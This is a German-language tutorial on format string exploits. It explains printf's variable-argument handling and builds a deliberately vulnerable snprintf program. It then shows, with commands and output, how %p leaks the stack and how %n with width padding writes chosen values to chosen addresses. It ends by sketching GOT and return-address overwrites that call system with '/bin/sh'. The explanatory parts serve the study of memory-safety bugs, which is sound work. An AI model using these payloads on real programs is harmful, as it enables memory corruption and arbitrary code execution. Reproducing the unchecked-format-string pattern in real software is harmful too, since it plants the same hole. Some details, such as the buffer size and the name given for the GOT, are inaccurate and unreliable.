1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
|
Format String Exploits:
Heisst grundsaetzlich, die Eigenschaft der
f/s(n)printf/scanf - Funktionsfamilie
auszunutzen, dass sie eine va_args-liste
zum Uebergeben der Parameter und einen
String zum Beschreiben der Anzahl und Art
der Parameter benutzt.
syntax:
printf( char *format, param1, param2, ... )
Wenn man einen C-Kurs mitmacht, wird einem
vermittelt, dass man in den Formatstring
eintragen soll, welche Paramater die printf
Funktion bekommen wird und wenn es
Inkonsistenzen zwischen dem Formatstring und
den Paramtern gibt, stuerzt das Programm ab.
Und genau an der Stelle beginnt der spannende
Part: wenn ein Programm abstuerzt,
wurde sicher Speicher der Applikation ueber-
schrieben und Ziel des Spiels ist es nun, zu
versuchen, gezielt Speicher mit uns geneigten
Werten zu ueberschreiben. Und unter uns: sooo
schnell schiesst man ein Programm nicht ab :)
Also schauen wir uns mal einen validen Aufruf
der Funktion an:
int main( ) {
int a, b;
a = 7;
b = 9;
printf( "%d %d\n", a, b );
return 0;
}
In optimiertem Assembler sieht das so aus:
.LC0:
.string "%d %d\n"
main:
[ ... ]
pushl $9
pushl $7
pushl $.LC0
call printf
[ ... ]
Dort steht, dass erst b und a auf den Stack
geschoben werden, danach die Adresse des
Formatstrings und schliesslich printf aufgerufen
wird.
In C ist es generell nicht der Fall, dass
Funktionen ueber die Parameter informiert werden,
die sie auf dem Stack erhalten, das geben sie
naemlich beim Compilen an und erwarten dann auf
dem Stack auch genau diese Parameter vorzufinden.
Einzige Ausnahme bildet ein Konstrukt namens
va. Das bedeutet "Varibale Argumentenliste". Die
Funktion printf arbeitet dann auch wie folgt:
int printing( const char *fmt, ...) {
va_list ap;
char output[1024];
va_start(ap, fmt);
while( *fmt ) {
if( *fmt != '%' ) {
putc( *fmt++ );
} else { /* Parameter substituieren */
switch( *++fmt ) {
case 'd':
int a = va_arg( ap, int );
/* Zahl a ausgeben */
break;
case 's':
char *s = va_arg( ap, char *);
/* String ausgeben */
....
}
}
va_end(ap);
}
Hinter der ganzen vargs Magie verbergen sich aber
nur diese drei (jetzt mal von mir leicht
vereinfachten) Makros:
#define va_start(ap, var) ((ap) = (va_list)&var)
#define va_arg(ap, type) *(((type *)ap++))
#define va_end(ap)
In Wirklichkeit wird da noch ein wenig am Alignment
der Variablen geschraubt, aber im Groben stellt dies
schon dar, wie variable Argumentlisten behandelt
werden: printf holt einfach vom Stack ab, egal, ob da
was drauf steht, oder nicht.
Was drauf stehen tut aber immer, naemlich Ruecksprung-
adressen und der Stack der aufrufenden Funktionen.
Und das koennen wir uns mal angucken:
int main( ) {
int a = 0x23232323;
printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n");
return 0;
}
Liefert einen output von:
0x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1
Und gugge da: wir erkennen doch da glatt unser
nicht ganz zufaellig gewaehltes a wieder.
%p ist der Bezeichner fuer einen ganz normalen
pointer, also 4 bytes, die vom Stack geholt
und in der 0xn Notation angezeigt werden.
Aber printf kann mehr:
int a;
printf ( "Ich bin 23 Zeichen lang%n\n", &a);
printf ( "Und printf hat's gezaehlt: %d", a);
Liefert als Ausgabe:
Ich bin 23 Zeichen lang
Und printf hat's gezaehlt: 23
Was ist passiert? Printf erwartet bei einem %n, dass
auf dem Stack der Zeiger auf ein int liegt, in das
er die Anzahl der in diesem Funktionsaufruf
ausgegebnen Zeichen schreibt. Nicht auszumalen, was
passiert, wenn auf dem Stack gar keine solide Adresse
liegt :)
Printf bietet uns also einen ganz soliden Weg, den
Stack zu inspizieren und aktiv Speicher zu veraendern.
Bliebe die Frage, warum sollte uns ein Programm den
Weg ebnen, den Formatstring selbst zu waehlen. Da gibt
es zwei Erklaerungen:
1. bieten einige Programme fuer formatierte Textausgabe
dem Benutzer an, selber Formatstrings anzugeben.
Dies ist aber nicht so spannend, da der String
meist sehr genau geprueft wird, allerdings gibt es
einen exploit fuer den Mail-Reader mutt, der genau
ueber einen solchen Formatierungsstring anfaellig
war
2. Ist es dem printf egal, ob man ihm nun wirklich einen
Zeiger auf den Formatstring gegeben hat, oder den
Zeiger auf IRGENDEINEN String, der ausgegeben werden
soll. Typischer BASIC Programmierstil ist:
A = "Hallo"
PRINT A
in C:
char *a = "Hallo";
printf( a );
funktioniert auch hervorragend, solange der String
a keine printf - control characters, naemlich "%"'s
enthaelt.
Genug der Theorie, in der Praxis sieht sowas dann ganz
schlicht so aus:
int main( int argc, char **argv ) {
char buffer[ 256 ];
snprintf( buffer, sizeof buffer, argv[1] );
return 0;
}
Man beachte, dass der Programmierer sich grosse Muehe
gegeben hat, buffer-overflows zu vermeiden, indem er
sichere Variante von sprintf, das snprintf benutzt hat,
damit auch wirklich maximal 32 bytes in den Buffer
gelangen. Allerdings hat er beim String, der geschrieben
werden soll, geschlampt: die Zeile muesste richtig lauten
snprintf( buffer, sizeof buffer, "%s", argv[1] );
Nun, was tut dieses Funktion? Schreibt in den Buffer mit
maximal 32 Zeichen den String argv[1], also das erste
Kommandozeilenargument der Funktion. Aber tut es das auch
wirklich? Nur, wie gesagt, solange im String keine '%'
stehen, aber solche Zeichen in die Kommandozeile einzu-
tippern kriegen wir doch noch hin :)
Es gibt noch das kleine Problem, dass der Printf halt in
einen Buffer und nicht auf den Screen schreibt, das laesst
sich aber leicht loesen, indem wir entweder einen Debugger
benutzen, um den Inhalt des Buffers auszulesen, oder ein-
fach wieder printf dafuer benutzen, sieht dann so aus:
int main( int argc, char **argv ) {
int test = 0x23232323;
char buffer[ 256 ];
printf( "test auf: %p\n", &test );
printf( "test enthaelt: %x\n\n", test);
snprintf( buffer, sizeof buffer, argv[1] );
printf( "%s\n", buffer);
printf( "test enthaelt: %x\n\n", test);
return 0;
}
Ich habe nun noch eine Variable eingefuegt, an der wir
ein wenig rumspielen wollen: Dessen Adresse wuerde man
wieder mit einem debugger herausfinden, hier benutz ich
printf, auch den aktuellen Wert geb ich einmal vor und
einmal nach der "Attacke" aus.
Das compilete Programm wirft mir folgendes raus:
# ./vuln Probierung
test auf: 0xbfbff6d4
test enthaelt: 0x23232323
Probierung
test enthaelt: 0x23232323
Nuescht besonderes. Probieren wir nun mal ein bisschen
mit den Formatstrings rum:
# ./vuln "AAAA%p %p %p %p %p %p %p %p %p"
test auf: 0xbfbff6c0
test enthaelt: 0x23232323
AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x41414141 0x62317830 0x64356666
test enthaelt: 0x23232323
Als erstes sehen wir, dass sich die Adressse von test
(das sich ja im Stack befindet) variiert. Das liegt
daran, dass die Kommandozeilenparameter im Stack abgelegt
werden. Wir koennen aber mit Anfuerungszeichen und vielen
Spaces ueber die gesamte Testphase fuer einen konstanten
offset sorgen.
Zweitens liegt, wie eben erwaehnt, auch der Format-String
nocheinmal im Stack weiter oben rum, die 0x41414141 sind
unsere AAAA in der Kommandozeile.
Wir spielen mal weiter und schaun, ob wir nicht unseren vorhin
entdeckten %n-Controlcode anbringen koennen wir lesen 3 pointer
weniger und tun dafuer ein %n hin:
# ./test "AAAA%p %p %p %p %p %p%n %p %p"
test auf: 0xbfbff6c0
test enthaelt: 0x23232323
Segmentation fault (core dumped)
Ui... Wie es uns im C-Programmierkurs gesagt wurde: spielt
nicht mit den Formatstrings rum. Aber was genau hab ich jetzt
kaputt gemacht? Gucken wir nochmal: printf hat, als er am %n
vorbeikommt, genau 6 Werte vom Stack gelesen, das geht genau
bis zur 0x2805a3a8. Auf dem Stack liegt jetzt direkt als
naechstes 0x41414141. Und dieser Wert wird ja nun bei einem
%n als Adresse einer int interpretiert, an die der aktuelle
Character-Count geschrieben werden soll. Und an 0x41414141
befindet sich kein lesbarer Speicher. Also kein Geheimnis.
Aber wer jetzt einen Exploit entdeckt hat, soll sich mal
melden. Genau... die 0x41414141 kommt ja direkt aus unserem
Formatstring. Die ersten 4 Zeichen, um genau zu sein. Was laege
da jetzt naeher, dort mal eine valide Adresse hinzuschreiben?
Wir haetten da sogar noch eine ueber:
0xbfbff6c0
Da liegt naemlich die Variable test und es ist sogar eine int.
Als String sieht die Adresse so aus: Àö¿¿
Ungewoehnlich, aber wat solls, solange kein % und kein \000
dabei ist, soll uns das nicht stoeren :)
Wir probieren das einfach mal aus:
# ./vuln "Àö¿¿%p %p %p %p %p %p%n %p %p"
test auf: 0xbfbff6c0
test enthaelt: 0x2323232323
Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x62317830 0x64356666
test enthaelt: 0x42
An der Stelle, wo da zwei Leerzeichen hintereinander sind,
wurde nun %n "ausgefuehrt". Und sehr treffend: test enthaelt
0x42.
Wer die Musse hat, kann da mal nachzaehlen, das sind bis zum
Doppelleerzeichen 66 ausgegebene Characters.
Wir haben es also geschafft, an eine beliebige Adresse einen
leider noch einigermassen zufaelligen Wert zu schreiben, das
soll sich jetzt aendern. Was wir brauchen, ist eine wohl-
bestimmte Anzahl von Zeichen, die bis zum %n ausgegeben wurden.
Dazu sollten wir erstmal den %p's einheitliche Laengen verpassen,
damit wir mit ihnen rechnen koennen. Dat jeht so:
# ./vuln "Àö¿¿%8p%8p%8p%8p%8p%8p%n%p%p "
test auf: 0xbfbff6c0
test enthaelt: 0x23232323
Àö¿¿0x1bff5d80xbfbff61c0x2804d7990x80483370x68acf040x2805a3a80x623178300x64356666
test enthaelt: 0x3D
und mit der letzten koennen wir noch ein wenig spielen:
./test "°ö¿¿%8p%8p%8p%8p%111638553p%999999999p%n "
test auf: 0xbfbff6b0
test enthaelt: 0x23232323
°ö¿¿0x1bff5c80xbfbff60c0x2804d7990x8048337
test enthaelt: 0x42424242
Ich musste fuer die grossen Zahlen leider noch ein wenig an der
Adresse von test rumspielen, aber im Prinzip ist zu erkennen,
dass ich an jede Adresse jeden Wert schreiben kann. Was habe
ich getan? Man kann fuer Zahlenkonvertierungen in printf eine
width vorgeben, die von der Funktion mit Leerzeichen aufgefuellt
wird, wenn die Zahl nicht breit genug wird. Und das koennen nu
auch ruhig mal viele sein, man sorgt zumindest dafuer, dass man
auch hohe Werte schreiben kann, was ziemlich wichtig ist, wenn
man mal eine valide Adresse wohin schreiben will. Und netterweise
liefert printf nun auch nicht die Zahl der geschriebenen Zeichen,
sondern die der "theoretisch" geschriebenen in %n zurueck, was
dufte ist, denn sonst waere nach 256 Zeichen schluss gewesen...
Nun ist es vom Prinzip her ganz einfach, Shellcode aufzurufen,
man uebergibt diesen einfach mit im Formatstring und kann die
Einsprungadresse punktgenau auf den Stack werfen. Waere aber
eigentlich eine Schande, denn Formatstringexploits sind so fili-
gran im Gegensatz zu buffer-overflows, die mit NOPs und vielen
return adressen eigentlich nur raten.
Viel eleganter ist es, die GOT des binaries zu veraendern.
Dies ist die global object table, und dort hinein kommen fuer
alle Funktionen, die aus Libraries eingebunden werden, die
Adressen. Der Vorteil ist, dass bei fast allen Standard-
anwendungen die GOT ungefaehr gleich aussieht. Wenn man die
Adresse des fopen-calls einfach mit der des system-calls ueber-
schreibt, koennte man einen Teil des formatstrings glatt von
einer Shell interpretieren lassen.
Dies ist insoweit im Moment spannend, da ernsthaft damit ange-
fangen wird, den Stack non-executable zu mappen und damit buffer
overflows und darin befindlicher Shellcode zu verhindern.
Dies liesse noch Spielraum fuer eine weitere Option, naemlich
die Ruecksprungadresse der printf-aufrufenden Funktion zu
ueberschreiben und zwar mit der Einsprungadresse von system,
wenn man davor eine Adresse irgendwo im eigenen Formatstring
hinpackt, kann man den Formatstring wie folgt gestalten:
"/../../../../../../../../../bin/sh"
die ../'s sind naemlich eigentlich auch NOPs.
|